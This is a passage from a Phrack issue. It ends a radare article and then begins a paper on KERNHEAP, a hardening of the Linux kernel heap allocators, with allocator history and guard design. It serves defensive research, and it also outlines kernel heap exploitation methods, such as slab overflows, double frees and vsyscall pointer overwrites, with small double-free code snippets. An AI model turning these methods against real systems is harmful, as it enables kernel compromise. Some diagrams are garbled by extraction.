Maybe the more important characteristic of this software is the abstraction of the IO which allows you to open hard disk images, serial connections, process memory, haret wince devices, gdb‑enabled applications like bochs, vmware, qemu, shared memory areas, winedbg and more.

There are lot of things we have not covered in this article but the main concepts have been exposed while explaining multiple protection techniques for binaries.

Using scriptable tools for implementing binary protection techniques eases the development and permits to recycle and accelerate the analysis and manipulation of files.

‑‑[ 6 ‑ Future work

The project was born in 2006, and it has grown pretty fast.

At the moment of writing this paper the development is done on two different branches: radare and radare2.

The second one is a complete refactoring of the original code aiming to reimplement all the features of the radare framework into multiple libraries.

This design permits to bypass some limitations of the design of r1 enabling full scripting support for specific or composed set of libraries. Each module extends its functionalities into plugins.

While using parrot as a virtual machine, multiple scripting languages can be used together. Being scripting language agnostic enables the possibility to mix multiple frameworks together (like metasploit [5], ERESI [6], etc)

The modular design based on libraries, plugins and scripts will open new ways to extend the framework by third party developers and additionally make the code much more maintainable and bugfree.

New applications will appear on top of the r2 set of libraries, there are some projects aiming to integrate it from web frontends and graphical frontends.

Plugins extend the modules adding support for new architectures, binary formats, code analysis modules, debugging backends, remote protocols, scripting facilities and more.

At the moment of writing this, radare2 (aka libr) is actually under development but implements some test programs that try to reimplement the applications distributed with radare.

‑‑[ 7 ‑ References

[0] radare homepage

http://www.radare.org

[1] radare book (pdf)

http://www.radare.org/get/radare.pdf

[2] x86‑32/64 architecture http://www.intel.com/Assets/PDF/manual/253666.pdf

[3] ELF file format http://en.wikipedia.org/wiki/Executable_and_Linkable_Format

[4] AT&T syntax

http://sig9.com/articles/att‑syntax

[5] Metasploit, ruby based exploit development framework http://www.metasploit.com/

[6] ERESI

http://www.eresi‑project.org/

‑‑[ 8 ‑ Greetings

Thanks to JV for his support during the write‑up of this article, and to the Phrack staff to make the publication possible.

I would also like to greet some people for their support while the development of radare and this article:

SexyPandas .. for the great quals, ctfs and moments

nopcode .. for those great cons, feedback and beers

nibble .. for those pingpong development sessions and support killabyte .. for the funny abstract situations we faced everyday esteve .. for the talks, knowledge and the arm/wince reversing tips wzzx .. for the motivators, feedback and luls

lia .. my gf which supported me all those nightly hacking hours :) ..

Certainly...

Thanks to all the people who managed to read the whole text and also to the rest for being part of that ecosystem named 'underground' and computer security which bring us lot of funny hours.

There is still lot of work to be done, and ideas or contributions are always welcome. Feel free to send me comments.

pancake

Linux Kernel Heap Tampering Detection

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x0F of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Linux Kernel Heap Tampering Detection ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Larry H. <larry@subreption.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ Index

1 ‑ History and background of the Linux kernel heap allocators

1.1 ‑ SLAB

1.2 ‑ SLOB

1.3 ‑ SLUB

1.4 ‑ SLQB

1.5 ‑ The future

2 ‑ Introduction: What is KERNHEAP?

3 ‑ Integrity assurance for kernel heap allocators

3.1 ‑ Meta‑data protection against full and partial overwrites 3.2 ‑ Detection of arbitrary free pointers and freelist corruption 3.3 ‑ Overview of NetBSD and OpenBSD kernel heap safety checks 3.4 ‑ Microsoft Windows 7 kernel pool allocator safe unlinking

4 ‑ Sanitizing memory of the look‑aside caches

5 ‑ Deterrence of IPC based kmalloc() overflow exploitation

6 ‑ Prevention of copy_to_user() and copy_from_user() abuse

7 ‑ Prevention of vsyscall overwrites on x86_64

8 ‑ Developing the right regression testsuite for KERNHEAP

9 ‑ The Inevitability of Failure

9.1 ‑ Subverting SELinux and the audit subsystem 9.2 ‑ Subverting AppArmor

10 ‑ References

11 ‑ Thanks and final statements

12 ‑ Source code

‑‑‑‑‑‑[ 1. History and background of the Linux kernel heap allocators

Before discussing what is KERNHEAP, its internals and design, we will have a glance at the background and history of Linux kernel heap allocators.

In 1994, Jeff Bonwick from Sun Microsystems presented the SunOS 5.4 kernel heap allocator at USENIX Summer [1]. This allocator produced higher performance results thanks to its use of caches to hold invariable state information about the objects, and reduced fragmentation significantly, grouping similar objects together in caches. When memory was under stress, the allocator could check the caches for unused objects and let the system reclaim the memory (that is, shrinking the caches on demand).

We will refer to these units composing the caches as "slabs". A slab comprises contiguous pages of memory. Each page in the slab holds chunks (objects or buffers) of the same size. This minimizes internal fragmentation, since a slab will only contain same‑sized chunks, and only the 'trailing' or free space in the page will be wasted, until it is required for a new allocation. The following diagram shows the layout of Bonwick's slab allocator:

+‑‑‑‑‑‑‑+

| CACHE |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑+

| CACHE |‑‑‑‑| EMPTY |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑+ +‑‑‑

| PARTIAL |‑‑‑‑| SLAB |‑‑‑‑‑‑| PAGE | (objects)

+‑‑‑‑‑‑‑‑‑+ +‑‑‑

| FULL | ... |‑‑‑‑‑‑‑| CHUNK |

+‑‑‑‑‑‑‑‑‑+

CHUNK |

CHUNK |

These caches operated in a LIFO manner: when an allocation was requested for a given size, the allocator would seek for the first available free object in the appropriate slab. This saved the cost of page allocation and creation of the object altogether.

"A slab consists of one or more pages of virtually contiguous memory carved up into equal‑size chunks, with a reference count indicating how many of those chunks have been allocated." Page 5, 3.2 Slabs. [1]

Each slab was managed with a kmem_slab structure, which contained its reference count, freelist of chunks and linkage to the associated kmem_cache. Each chunk had a header defined as the kmem_bufctl (chunks are commonly referred to as buffers in the paper and implementation), which contained the freelist linkage, address to the buffer and a pointer to the slab it belongs to. The following diagram shows the layout of a slab:

.‑‑‑‑‑‑‑‑‑‑‑‑

| SLAB (kmem_slab) |

`‑‑‑‑‑‑‑+‑‑+‑

/ \

+‑‑‑‑+‑‑‑+‑‑

| bufctl | bufctl |

+‑.‑'‑‑‑‑+.‑

_.‑' .‑'

+‑.‑'‑‑‑‑‑‑.‑'‑‑‑‑‑

| | |jJ6XKNM|

| buffer | buffer | Unused XQNM|

| | |jJ6XKNM|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ Page (s) ]

For chunk sizes smaller than 1/8 of a page (ex. 512 bytes for x86), the meta‑data of the slab is contained within the page, at the very end. The rest of space is then divided in equally sized chunks. Because all buffers have the same size, only linkage information is required, allowing the rest of values to be computed at runtime, saving space. The freelist pointer is stored at the end of the chunk. Bonwick states that this due to end of data structures being less active than the beginning, and permitting debugging to work even when an use‑after‑free situation has occurred, overwriting data in the buffer, relying on the freelist pointer being intact. In deliberate attack scenarios this is obviously a flawed assumption. An additional word was reserved too to hold a pointer to state information used by objects initialized through a constructor.

For larger allocations, the meta‑data resides out of the page.

The freelist management was simple: each cache maintained a circular doubly‑linked list sorted to put the empty slabs (all buffers allocated) first, the partial slabs (free and allocated buffers) and finally the full slabs (reference counter set to zero, all buffers free). The cache freelist pointer points to the first non‑empty slab, and each slab then contains its own freelist. Bonwick chose this approach to simplify the memory reclaiming process.

The process of reclaiming memory started at the original kmem_cache_free() function, which verified the reference counter. If its value was zero (all buffers free), it moved the full slab to the tail of the freelist with the rest of full slabs. Section 4 explains the intrinsic details of hardware cache side effects and optimization. It is an interesting read due to the hardware used at the time the paper was written. In order to optimize cache utilization and bus balance, Bonwick devised 'slab coloring'. Slab coloring is simple: when a slab is created, the buffer address starts at a different offset (referred to as the color) from the slab base (since a slab is an allocated page or pages, this is always aligned to page size).

It is interesting to note that Bonwick already studied different approaches to detect kernel heap corruption, and implemented them in the SunOS 5.4 kernel, possibly predating every other kernel in terms of heap corruption detection). Furthermore, Bonwick noted the performance impact of these features was minimal.

"Programming errors that corrupt the kernel heap ‑ such as modifying freed memory, freeing a buffer twice, freeing an uninitialized pointer, or writing beyond the end of a buffer â€” are often difficult to debug. Fortunately, a thoroughly instrumented ker‑ nel memory allocator can detect many of these problems." page 10, 6. Debugging features. [1]

The audit mode enabled storage of the user of every allocation (an equivalent of the Linux feature that will be briefly described in the allocator subsections) and provided these traces when corruption was detected.

Invalid free pointers were detected using a hash lookup in the kmem_cache_free() function. Once an object was freed, and after the destructor was called, it filled the space with 0xdeadbeef. Once this object was being allocated again, the pattern would be verified to see that no modifications occurred (that is, detection of use‑after‑free conditions, or write‑after‑free more specifically). Allocated objects were filled with 0xbaddcafe, which marked it as uninitialized.

Redzone checking was also implemented to detect overwrites past the end of an object, adding a guard value at that position. This was verified upon free.

Finally, a simple but possibly effective approach to detect memory leaks used the timestamps from the audit log to find allocations which had been online for a suspiciously long time. In modern times, this could be implemented using a kernel thread. SunOS did it from userland via /dev/kmem, which would be unacceptable in security terms.

For more information about the concepts of slab allocation, refer to Bonwick's paper at [1] provides an in‑depth overview of the theory and implementation.

‑‑‑[ 1.1 SLAB

The SLAB allocator in Linux (mm/slab.c) was written by Mark Hemment in 1996‑1997, and further improved through the years by Manfred Spraul and others. The design follows closely that presented by Bonwick for his Solaris allocator. It was first integrated in the 2.2 series. This subsection will avoid describing more theory than the strictly necessary, but those interested on a more in‑depth overview of SLAB can refer to "Understanding the Linux Virtual Memory Manager" by Mel Gorman, and its eighth chapter "Slab Allocator" [X].

The caches are defined as a kmem_cache structure, comprised of (most commonly) page sized slabs, containing initialized objects. Each cache holds its own GFP flags, the order of pages per slab (2^n), the number of objects (chunks) per slab, coloring offsets and range, a pointer to a constructor function, a printable name and linkage to other caches. Optionally, if enabled, it can define a set of fields to hold statistics an debugging related information.

Each kmem_cache has an array of kmem_list3 structures, which contain the information about partial, full and free slab lists:

struct kmem_list3 {

struct list_head slabs_partial; struct list_head slabs_full; struct list_head slabs_free; unsigned long free_objects; unsigned int free_limit;

unsigned int colour_next;

...

unsigned long next_reap;

int free_touched;

};

These structures are initialized with kmem_list3_init(), setting all the reference counters to zero and preparing the list3 to be linked to its respective cache nodelists list for the proper NUMA node. This can be found in cpuup_prepare() and kmem_cache_init().

The "reaping" or draining of the cache free lists is done with the drain_freelist() function, which returns the total number of slabs released, initiated via cache_reap(). A slab is released using slab_destroy(), and allocated with the cache_grow() function for a given NUMA node, flags and cache.

The cache contains the doubly‑linked lists for the partial, full and free lists, and a free object count in free_objects.

A slab is defined with the following structure:

struct slab {

struct list_head list; /* linkage/pointer to freelist */

unsigned long colouroff; /* color / offset */

void *s_mem; /* start address of first object */

unsigned int inuse; /* num of objs active in slab */

kmem_bufctl_t free; /* first free chunk (or none) */

unsigned short nodeid; /* NUMA node id for nodelists */

};

The list member points to the freelist the slab belongs to: partial, full or empty. The s_mem is used to calculate the address to a specific object with the color offset. Free holds the list of objects. The cache of the slab is tracked in the page structure.

The functions used to retrieve the cache a potential object belongs to is virt_to_cache(), which itself relies on page_get_cache() on a page structure pointer. It checks that the Slab page flag is set, and takes the lru.next pointer of the head page (to be compatible with compound pages, this is no different for normal pages). The cache is set with page_set_cache(). The behavior to assign pages to a slab and cache can be seen in slab_map_pages().

The internal function used for cache shrinking is __cache_shrink(), called from kmem_cache_shrink() and during cache destruction. SLAB is clearly poor at the scalability side: on NUMA systems with a large number of nodes, substantial time will be spent on walking the nodelists, drain each freelist, and so forth. In the process, it is most likely that some of those nodes won't be under memory pressure.

slab management data is stored inside the slab itself when the size is under 1/8 of PAGE_SIZE (512 bytes for x86, same as Bonwick's allocator). This is done by alloc_slabmgmt(), which either stores the management structure within the slab, or allocates space for it from the kmalloc caches (slabp_cache within the kmem_cache structure, assigned with kmem_find_general_cachep() given the slab size). Again, this is reflected in slab_destroy() which takes care of freeing the off‑slab management structure when applicable.

The interesting security impact of this logic in managing control structures is that slabs with their meta‑data stored off‑slab, in one of the general kmalloc caches, will be exposed to potential abuse (ex. in a slab overflow scenario in some adjacent object, the freelist pointer could be overwritten to leverage a write4‑primitive during unlinking). This is one of the loopholes which KERNHEAP, as described in this paper, will close or at very least do everything feasible to deter reliable exploitation.

Since the basic technical aspects of the SLAB allocator are now covered, the reader can refer to mm/slab.c in any current kernel release for further information.

‑‑‑[ 1.2 SLOB

Released in November 2005, it was developed since 2003 by Matt Mackall for use in embedded systems due to its smaller memory footprint. It lacks the complexity of all other allocators.

The granularity of the SLOB allocator supports objects as little as 2 bytes in size, though this is subject to architecture‑dependent restrictions (alignment, etc). The author notes that this will normally be 4 bytes for 32‑bit architectures, and 8 bytes on 64‑bit.

The chunks (referred as blocks in his comments at mm/slob.c) are referenced from a singly‑linked list within each page. His approach to reduce fragmentation is to place all objects within three distinctive lists: under 256 bytes, under 1024 bytes and then any other objects of size greater than 1024 bytes.

The allocation algorithm is a classic next‑fit, returning the first slab containing enough chunks to hold the object. Released objects are re‑introduced into the freelist in address order.

The kmalloc and kfree layer (that is, the public API exposed from SLOB) places a 4 byte header in objects within page size, or uses the lower level page allocator directly if greater in size to allocate compound pages. In such cases, it stores the size in the page structure (in page‑>private). This poses a problem when detecting the size of an allocated object, since essentially the slob_page and page structures are the same: it's an union and the values of the structure members overlap. Size is enforced to match, but using the wrong place to store a custom value means a corrupted page state.

Before put_page() or free_pages(), SLOB clears the Slob bit, resets the mapcount atomically and sets the mapping to NULL, then the page is released back to the low‑level page allocator. This prevents the overlapping fields from leading to the aforementioned corrupted state situation. This hack allows both SLOB and the page allocator meta‑data to coexist, allowing a lower memory footprint and overhead.

‑‑‑[ 1.3 SLUB aka The Unqueued Allocator

The default allocator in several GNU/Linux distributions at the moment, including Ubuntu and Fedora. It was developed by Christopher Lameter and merged into the ‑mm tree in early 2007.

"SLUB is a slab allocator that minimizes cache line usage instead of managing queues of cached objects (SLAB approach). Per cpu caching is realized using slabs of objects instead of queues of objects. SLUB can use memory efficiently and has enhanced diagnostics." CONFIG_SLUB documentation, Linux kernel.

The SLUB allocator was the first introducing merging, the concept of grouping slabs of similar properties together, reducing the number of caches present in the system and internal fragmentation.

This, however, has detrimental security side effects which are explained in section 3.1. Fortunately even without a patched kernel, merging can be disabled on runtime.

The debugging facilities are far more flexible than those in SLAB. They can be enabled on runtime using a boot command line option, and per‑cache.

DMA caches are created on demand, or not‑created at all if support isn't required.

Another important change is the lack of SLAB's per‑node partial lists. SLUB has a single partial list, which prevents partially free‑allocated slabs from being scattered around, reducing internal fragmentation in such cases, since otherwise those node local lists would only be filled when allocations happen in that particular node.

Its cache reaping has better performance than SLAB's, especially on SMP systems, where it scales better. It does not require walking the lists every time a slab is to be pushed into the partial list. For non‑SMP systems it doesn't use reaping at all.

Meta‑data is stored using the page structure, instead of withing the beginning of each slab, allowing better data alignment and again, this reduces internal fragmentation since objects can be packed tightly together without leaving unused trailing space in the page(s). Memory requirements to hold control structures is much lower than SLAB's, as Lameter explains:

"SLAB Object queues exist per node, per CPU. The alien cache queue even has a queue array that contain a queue for each processor on each node. For very large systems the number of queues and the number of objects that may be caught in those queues grows exponentially. On our systems with 1k nodes / processors we have several gigabytes just tied up for storing references to objects for those queues This does not include the objects that could be on those queues."

To sum it up in a single paragraph: SLUB is a clever allocator which is designed for modern systems, to scale well, work reliably in SMP environments and reduce memory footprint of control and meta‑data structures and internal/external fragmentation. This makes SLUB the best current target for KERNHEAP development.

‑‑‑[ 1.4 SLQB

The SLQB allocator was developed by Nick Piggin to provide better scalability and avoid fragmentation as much as possible. It makes a great deal of an effort to avoid allocation of compound pages, which is optimal when memory starts running low. Overall, it is a per‑CPU allocator.

The structures used to define the caches are slightly different, and it shows that the allocator has been to designed from ground zero to scale on high‑end systems. It tries to optimize remote freeing situations (when an object is freed in a different node/CPU than it was allocated at). This is relevant to NUMA environments, mostly. Objects more likely to be subjected to this situation are long‑lived ones, on systems with large numbers of processors.

It defines a slqb_page structure which "overloads" the lower level page structure, in the same fashion as SLOB does. Instead of an unused padding, it introduces kmem_cache_list ad freelist pointers.

For each lookaside cache, each CPU has a LIFO list of the objects local to that node (used for local allocation and freeing), a free and partial pages lists, a queue for objects being freed remotely and a queue of already free objects that come from other CPUs remote free queues. Locking is minimal, but sufficient to control cross‑CPU access to these queues.

Some of the debugging facilities include tracking the user of the allocated object (storing the caller address, cpu, pid and the timestamp). This track structure is stored within the allocated object space, which makes it subject to partial or full overwrites, thus unsuitable for security purposes like similar facilities in other allocators (SLAB and SLUB, since SLOB is impaired for debugging).

Back on SLQB‑specific changes, the use of a kmem_cache_cpu structure per CPU can be observed. An article at LWN.net by Jonathan Corbet in December 2008, provides a summary about the significance of this structure:

"Within that per‑CPU structure one will find a number of lists of objects. One of those (freelist) contains a list of available objects; when a request is made to allocate an object, the free list will be consulted first. When objects are freed, they are returned to this list. Since this list is part of a per‑CPU data structure, objects normally remain on the same processor, minimizing cache line bouncing. More importantly, the allocation decisions are all done per‑CPU, with no bad cache behavior and no locking required beyond the disabling of interrupts. The free list is managed as a stack, so allocation requests will return the most recently freed objects; again, this approach is taken in an attempt to optimize memory cache behavior." [5]

In order to couple with memory stress situations, the freelists can be flushed to return unused partial objects back to the page allocator when necessary. This works by moving the object to the remote freelist (rlist) from the CPU‑local freelist, and keep a reference in the remote_free list.

The SLQB allocator is well described in depth in the aforementioned article and the source code comments. Feel free to refer to these sources for more in‑depth information about its design and implementation. The original RFC and patch can be found at http://lkml.org/lkml/2008/12/11/417

‑‑‑[ 1.5 The future

As architectures and computing platforms evolve, so will the allocators in the Linux kernel. The current development process doesn't contribute to a more stable, smaller set of options, and it will be inevitable to see new allocators introduced into the kernel mainline, possibly specialized for certain environments.

In the short term, SLUB will remain the default, and there seems to be an intention to remove SLOB. It is unclear if SLBQ will see widely spread deployment.

Newly developed allocators will require careful assessment, since KERNHEAP is tied to certain assumptions about their internals. For instance, we depend on the ability to track object sizes properly, and it remains untested for some obscure architectures, NUMA systems and so forth. Even a simple allocator like SLOB posed a challenge to implement safety checks, since the internals are greatly convoluted. Thus, it's uncertain if future ones will require a redesign of the concepts composing KERNHEAP.

‑‑‑‑‑‑[ 2. Introduction: What is KERNHEAP?

As of April 2009, no operating system has implemented any form of hardening in its kernel heap management interfaces. Attacks against the SLAB allocator in Linux have been documented and made available to the public as early as 2005, and used to develop highly reliable exploits to abuse different kernel vulnerabilities involving heap allocated buffers. The first public exploit making use of kmalloc() exploitation techniques was the MCAST_MSFILTER exploit by twiz [10].

In January 2009, an obscure, non advertised advisory surfaced about a buffer overflow in the SCTP implementation in the Linux kernel, which could be abused remotely, provided that a SCTP based service was listening on the target host. More specifically, the issue was located in the code which processes the stream numbers contained in FORWARD‑TSN chunks.

During a SCTP association, a client sends an INIT chunk specifying a number of inbound and outbound streams, which causes the kernel in the server to allocate space for them via kmalloc(). After the association is made effective (involving the exchange of INIT‑ACK, COOKIE and COOKIE‑ECHO chunks), the attacker can send a FORWARD‑TSN chunk with more streams than those specified initially in the INIT chunk, leading to the overflow condition which can be used to overwrite adjacent heap objects with attacker controlled data. The vulnerability itself had certain quirks and requirements which made it a good candidate for a complex exploit, unlikely to be available to the general public, thus restricted to more technically adept circles on kernel exploitation. Nonetheless, reliable exploits for this issue were developed and successfully used in different scenarios (including all major distributions, such as Red Hat with SELinux enabled, and Ubuntu with AppArmor).

At some point, Brad Spengler expressed interest on a potential protection against this vulnerability class, and asked the author what kind of measures could be taken to prevent new kernel‑land heap related bugs from being exploited. Shortly afterwards, KERNHEAP was born.

After development started, a fully remote exploit against the SCTP flaw surfaced, developed by sgrakkyu [15]. In private discussions with few individuals, a technique for executing a successful attack remotely was proposed: overwrite a syscall pointer to an attacker controlled location (like a hook) to safely execute our payload out of the interrupt context. This is exactly what sgrakkyu implemented for x86_64, using the vsyscall table, which bypasses CONFIG_DEBUG_RODATA (read‑only .rodata) restrictions altogether. His exploit exposed not only the flawed nature of the vulnerability classification process of several organizations, the hypocritical and unethical handling of security flaws of the Linux kernel developers, but also the futility of SELinux and other security models against kernel vulnerabilities.

In order to prevent and detect exploitation of this class of security flaws in the kernel, a new set of protections had to be designed and implemented: KERNHEAP.

KERNHEAP encompasses different concepts to prevent and detect heap overflows in the Linux kernel, as well as other well known heap related vulnerabilities, namely double frees, partial overwrites, etc.

These concepts have been implemented introducing modifications into the different allocators, as well as common interfaces, not only preventing generic forms of memory corruption but also hardening specific areas of the kernel which have been used or could be potentially used to leverage attacks corrupting the heap. For instance, the IPC subsystem, the copy_to_user() and copy_from_user() APIs and others.

This is still ongoing research and the Linux kernel is an ever evolving project which poses significant challenges. The inclusion of new allocators will always pose a risk for new issues to surface, requiring these protections to be adapted, or new ones developed for them.

‑‑‑‑‑‑[ 3. Integrity assurance for kernel heap allocators

‑‑‑[ 3.1 Meta‑data protection against full and partial overwrites

As of the current (yet ever changing) upstream design of the current kernel allocators (SLUB, SLAB, SLOB, future SLQB, etc.), we assume:

1. A set of caches exist which hold dynamically allocated slabs, composed of one of more physically contiguous pages, containing same size chunks.

2. These are initialized by default or created explicitly, always with a known size. For example, multiple default caches exist to hold slabs of common sizes which are a multiple of two (32, 64, 128, 256 and so forth).

3. These caches grow or shrink in size as required by the allocator.

4. At the end of a kmem cache life, it must be destroyed and its slabs released. The linked list of slabs is implicitly trusted in this context.

5. The caches can be allocated contiguously, or adjacent to an actual chain of slabs from another cache. Because the current kmem_cache structure holds potentially harmful information (including a pointer to the constructor of the cache), this could be leveraged in an attack to subvert the execution flow.

6. The debugging facilities of these allocators provide a merely informational value with their error detection mechanisms, which are also inherently insecure. They are not enabled by default and have a extremely high performance impact (accounting up to 50 to 70% slowdown). In addition, they leak information which could be invaluable for a local attacker (ex. fixed known values).

We are facing multiple issues in this scenario. First, the kernel developers expect the third‑party to handle situations like a cache being destroyed while an object is being allocated. Albeit highly unusual, such circumstances (like {6}) can arise provided the right conditions are present.

In order to prevent {5} from being abused, we are left with two realistic possibilities to deter a potential attack: randomization of the allocator routines (see ASLR from the PaX documentation in [7] for the concept) or introduce a guard (known in modern times as a 'cookie') which contains information to validate the integrity of the kmem_cache structure.

Thus, a decision was made to introduce a guard which works in 'cascade':

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| global guard |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑| kmem_cache guard |‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑slab guard | ...

The idea is simple: break down every potential path of abuse and add integrity information to each lower level structure. By deploying a check which relies in all the upper level guards, we can detect corruption of the data at any stage. In addition, this makes the safety checks more resilient against information leaks, since an attacker will be forced to access and read a wider range of values than one single cookie. Such data could be out of range to the context of the execution path being abused.

The global guard is initialized at the kernheap_init() function, called from init/main.c during kernel start. In order to gather entropy for its value, we need to initialize the random32 PRNG earlier than in a default, upstream kernel. On x86, this is done with the rdtsc xor'd with the jiffies value, and then seeded multiple times during different stages of the kernel initialization, ensuring we have a decent amount of entropy to avoid an easily predictable result.

Unfortunately, an architecture‑independent method to seed the PRNG hasn't been devised yet. Right now this is specific to platforms with a working get_cycles() implementation (otherwise it falls back to a more insecure seeding using different counters), though it is intended to support all architectures where PaX is currently supported.

The slab and kmem_cache structures are defined in mm/slab.c and mm/slub.c for the SLAB and SLUB allocators, respectively. The kernel developers have chosen to make their type information static to those files, and not available in the mm/slab.h header file. Since the available allocators have generally different internals, they only export a common API (even though few functions remain as no‑op, for example in SLOB).

A guard field has been added at the start of the kmem_cache structure, and other structures might be modified to include a similar field (depending on the allocator). The approach is to add a guard anywhere where it can provide balanced performance (including memory footprint) and security results.

In order to calculate the final checksum used in each kmem_cache and their slabs, a high performance, yet collision resistant hash function was required. This instantly left options such as the CRC family, FNV, etc. out, since they are inefficient for our purposes. Therefore, Murmur2 was chosen [9]. It's an exceptionally fast, yet simple algorithm created by Austin Appleby, currently used by libmemcached and other software.

Custom optimized versions were developed to calculate hashes for the slab and cache structures, taking advantage of the fact that only a relatively small set of word values need to be hashed.

The coverage of the guard checks is obviously limited to the meta‑data, but yields reliable protection for all objects of 1/8 page size and any adjacent ones, during allocation and release operations. The copy_from_user() and copy_to_user() functions have been modified to include a slab and cache integrity check as well, which is orthogonal to the boundary enforcement modifications explained in another section of this paper.

The redzone approach used by the SLAB/SLUB/SLQB allocators used a fixed known value to detect certain scenarios (explained in the next subsection). The values are 64‑bit long:

#define RED_INACTIVE 0x09F911029D74E35BULL #define RED_ACTIVE 0xD84156C5635688C0ULL

This is clearly suitable for debugging purposes, but largely inefficient for security. An immediate improvement would be to generate these values on runtime, but then it is still possible to avoid writing over them and still modify the meta‑data. This is exactly what is being prevented by using a checksum guard, which depends on a runtime generated cookie (at boot time). The examples below show an overwrite of an object in the kmalloc‑64 cache:

slab error in verify_redzone_free(): cache `size‑64': memory outside object was overwritten

Pid: 6643, comm: insmod Not tainted 2.6.29.2‑grsec #1 Call Trace:

[<c0889a81>] __slab_error+0x1a/0x1c

[<c088aee9>] cache_free_debugcheck+0x137/0x1f5 [<c088ba14>] kfree+0x9d/0xd2

[<c0802f22>] syscall_call+0x7/0xb

df271338: redzone 1:0xd84156c5635688c0, redzone 2:0x4141414141414141.

Slab corruption: size‑64 start=df271398, len=64 Redzone: 0x4141414141414141/0x9f911029d74e35b. Last user: [<c08d1da5>](free_rb_tree_fname+0x38/0x6f) 000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 020: 41 41 41 41 41 41 41 41 6b 6b 6b 6b 6b 6b 6b 6b Prev obj: start=df271340, len=64

Redzone: 0xd84156c5635688c0/0xd84156c5635688c0. Last user: [<c08d1e55>](ext3_htree_store_dirent+0x34/0x124) 000: 48 8e 78 08 3b 49 86 3d a8 1f 27 df e0 10 27 df 010: a8 14 27 df 00 00 00 00 62 d3 03 00 0c 01 75 64 Next obj: start=df2713f0, len=64

Redzone: 0x9f911029d74e35b/0x9f911029d74e35b.

Last user: [<c08d1da5>](free_rb_tree_fname+0x38/0x6f) 000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 010: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b

The trail of 0x6B bytes can be observed in the output above. This is the SLAB_POISON feature. Poisoning is the approach that will be described in the next subsection. It's basically overwriting the object contents with a known value to detect modifications post‑release or uninitialized usage. The values are defined (like the redzone ones) at include/linux/poison.h:

#define POISON_INUSE 0x5a

#define POISON_FREE 0x6b

#define POISON_END 0xa5

KERNHEAP performs validation of the cache guards at allocation and release related functions. This allows detection of corruption in the chain of guards and results in a system halt and a stack dump.

The safety checks are triggered from kfree() and kmem_cache_free(), kmem_cache_destroy() and other places. Additional checkpoints are being considered, since taking a wrong approach could lead to TOCTOU issues, again depending on the allocator. In SLUB, merging is disabled to avoid the potentially detrimental effects (to security) of this feature. This might kill one of the most attractive points of SLUB, but merging comes at the cost of letting objects be neighbors to other objects which would have been placed elsewhere out of reach, allowing overflow conditions to produce likely exploitable conditions. Even with guard checks in place, this is still a scenario to be avoided.

One additional change, first introduced by PaX, is to change the address of the ZERO_SIZE_PTR. In mainline kernel, this address points to 0x00000010. An address reachable in userland is clearly a bad idea in security terms, and PaX wisely solves this by setting it to 0xfffffc00, and modifying the ZERO_OR_NULL_PTR macro. This protects against a situation in which kmalloc is called with a zero size (for example due to an integer overflow in a length parameter) and the pointer is used to read or write information from or to userland.

‑‑‑[ 3.2 Detection of arbitrary free pointers and freelist corruption

In the history of heap related memory corruption vulnerabilities, a more obscure class of flaws has been long time known, albeit less publicized: arbitrary pointer and double free issues.

The idea is simple: a programming mistake leads to an exploitable condition in which the state of the heap allocator can be made inconsistent when an already freed object is being released again, or an arbitrary pointer is passed to the free function. This is a strictly allocator internals‑dependent scenario, but generally the goal is to control a function pointer (for example, a constructor/destructor function used for object initialization, which is later called) or a write‑n primitive (a single byte, four bytes and so forth).

In practice, these vulnerabilities can pose a true challenge for exploitation, since thorough knowledge of the allocator and state of the heap is required. Manipulating the freelist (also known as freelist in the kernel) might cause the state of the heap to be unstable post‑exploitation and thwart cleanup efforts or graceful returns. In addition, another thread might try to access it or perform operations (such as an allocation) which yields a page fault.

In an environment with 2.6.29.2 (grsecurity patch applied, full PaX feature set enabled except for KERNEXEC, RANDKSTACK and UDEREF) and the SLAB allocator, the following scenarios could be observed:

1. An object is allocated and shortly afterwards, the object is released via kfree(). Another allocation follows, and a pointer referencing to the previous allocation is passed to kfree(), therefore the newly allocated object is released instead due to the LIFO nature of the allocator.

void *a = kmalloc(64, GFP_KERNEL); foo_t *b = (foo_t *) a;

/* ... */

kfree(a);

a = kmalloc(64, GFP_KERNEL);

/* ... */

kfree(b);

2. An object is allocated, and two successive calls to kfree() take place with no allocation in‑between.

void *a = kmalloc(64, GFP_KERNEL); foo_t *b = (foo_t *) a;

kfree(a);

kfree(b);

In both cases we are releasing an object twice, but the state of the allocator changes slightly. Also, there could be more than just a single allocation in‑between (for example, if this condition existed within filesystem or network stack code) leading to less predictable results. The more obvious result of the first scenario is corruption of the freelist, and a potential information leak or arbitrary access to memory in the second (for instance, if an attacker could force a new allocation before the incorrectly released object is used, he could control the information stored there).

The following output can be observed in a system using the SLAB allocator with is debugging facilities enabled:

slab error in verify_redzone_free(): cache `size‑64': double free detected Pid: 4078, comm: insmod Not tainted 2.6.29.2‑grsec #1 Call Trace:

